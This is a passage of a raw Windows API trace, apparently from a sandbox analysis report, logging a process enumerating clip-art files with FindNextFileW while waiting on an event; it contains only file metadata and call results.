| out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0232.310] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0232.311] ResetEvent (hEvent=0x2b8) returned 1 [0232.311] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.317] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0232.318] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0232.318] ResetEvent (hEvent=0x2b8) returned 1 [0232.318] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.320] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0232.320] ResetEvent (hEvent=0x2b8) returned 1 [0232.320] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.325] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0232.325] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0232.325] ResetEvent (hEvent=0x2b8) returned 1 [0232.326] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.328] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0232.328] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0232.328] ResetEvent (hEvent=0x2b8) returned 1 [0232.328] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.332] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0232.333] ResetEvent (hEvent=0x2b8) returned 1 [0232.333] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.345] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0232.345] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0232.346] ResetEvent (hEvent=0x2b8) returned 1 [0232.346] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.350] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0232.350] ResetEvent (hEvent=0x2b8) returned 1 [0232.350] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.354] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0232.354] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0232.355] ResetEvent (hEvent=0x2b8) returned 1 [0232.355] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.358] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0232.358] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0232.358] ResetEvent (hEvent=0x2b8) returned 1 [0232.359] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.434] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0232.435] ResetEvent (hEvent=0x2b8) returned 1 [0232.435] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0232.436] ResetEvent (hEvent=0x2b8) returned 1 [0232.436] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.455] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0232.455] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0232.455] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0232.455] ResetEvent (hEvent=0x2b8) returned 1 [0232.455] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.465] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0232.466] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0232.466] ResetEvent (hEvent=0x2b8) returned 1 [0232.466] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.472] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0232.472] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0232.472] ResetEvent (hEvent=0x2b8) returned 1 [0232.472] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.505] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0232.506] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0232.506] ResetEvent (hEvent=0x2b8) returned 1 [0232.506] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.532] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0232.532] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0232.533] ResetEvent (hEvent=0x2b8) returned 1 [0232.533] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.550] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0232.550] ResetEvent (hEvent=0x2b8) returned 1 [0232.550] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.558] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0232.558] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0232.558] ResetEvent (hEvent=0x2b8) returned 1 [0232.559] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.665] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0232.666] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0232.666] ResetEvent (hEvent=0x2b8) returned 1 [0232.666] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.674] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0232.674] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0232.674] ResetEvent (hEvent=0x2b8) returned 1 [0232.674] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.676] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0232.676] ResetEvent (hEvent=0x2b8) returned 1 [0232.676] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.683] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0232.683] ResetEvent (hEvent=0x2b8) returned 1 [0232.684] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.688] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0232.688] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0232.688] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: 